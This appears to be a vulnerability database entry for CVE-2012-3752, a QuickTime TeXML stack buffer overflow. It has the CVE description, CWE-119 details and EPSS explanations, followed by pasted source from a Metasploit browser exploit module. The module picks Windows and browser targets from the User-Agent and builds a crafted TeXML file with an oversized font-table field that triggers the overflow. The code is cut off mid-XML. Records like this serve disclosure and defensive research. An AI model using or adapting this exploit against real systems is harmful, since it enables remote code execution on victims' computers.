CVE Descriptions

Multiple buffer overflows in Apple QuickTime before 7.7.3 allow remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted style element in a QuickTime TeXML file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. This is due to the QuickTime3GPP.gtx component not handling certain Style subfields properly, as the font-table field, which is used to trigger the overflow in this module. Because of QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista). }, 'Author' => [ 'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery 'juan vazquez' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '87087' ], [ 'CVE', '2012-3752' ], [ 'BID', '56557' ], [ 'URL', 'http://support.apple.com/kb/HT5581' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1000, }, 'Platform' => 'win', 'Targets' => [ # Tested with QuickTime 7.7.2 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', {} ], [ 'Firefox 3.5 on Windows XP SP3', {} ], [ 'Firefox 3.5.1 on Windows XP SP3', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 07 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' browser_name = "" if agent =~ /MSIE/ browser_version = agent.scan(/MSIE (\d)/).flatten[0] || '' browser_name = "IE #{browser_version}" elsif agent =~ /Firefox\/3.5$/ browser_name = "Firefox 3.5 " elsif agent =~ /Firefox\/3.5.1$/ browser_name = "Firefox 3.5.1" elsif agent =~ /Opera\/9/ browser_name = "Opera" end case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(client, request) return if ((p = regenerate_payload(client)) == nil) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if request.uri =~ /\.3gp/ print_status("Sending exploit TEXML (target: #{my_target.name})") my_payload = "1" * (1024*16) texml = <<-eos <?xml version="1.0"?> <?quicktime type="application/x-quicktime-texml"?> <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1" language="eng" timeScale="600" transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)"> <sample duration="2400" keyframe="true"> <description format="tx3g" displayFlags="ScrollIn" horizontalJustification="Left" verticalJustification="Top" backgroundColor="0%, 0%, 0%, 100%"> <defaultTextBox x="0" y="0" width="176" height="60"/> <fontTable> <font id="1" name="Times"/> </fontTable> <sharedStyles> <style id="1"> {font-table: #{my_payload}} {font-style:normal} {font-weight: normal} {font-size: 10} {line-height: 100%} {text-align: right} {text-decoration: underline} {color: 100%, 100%, 100%, 100%} {backgroundcolor: 100%, 100%, 100%, 100%} </style> </sharedStyles> </description> <sampleData scrollDelay="200" highlightColor="25%, 45%, 65%, 100%" targetEncoding="utf8"> <textBox x="10" y="10" width="156" height="40"/> <text styleID="1">What you need...
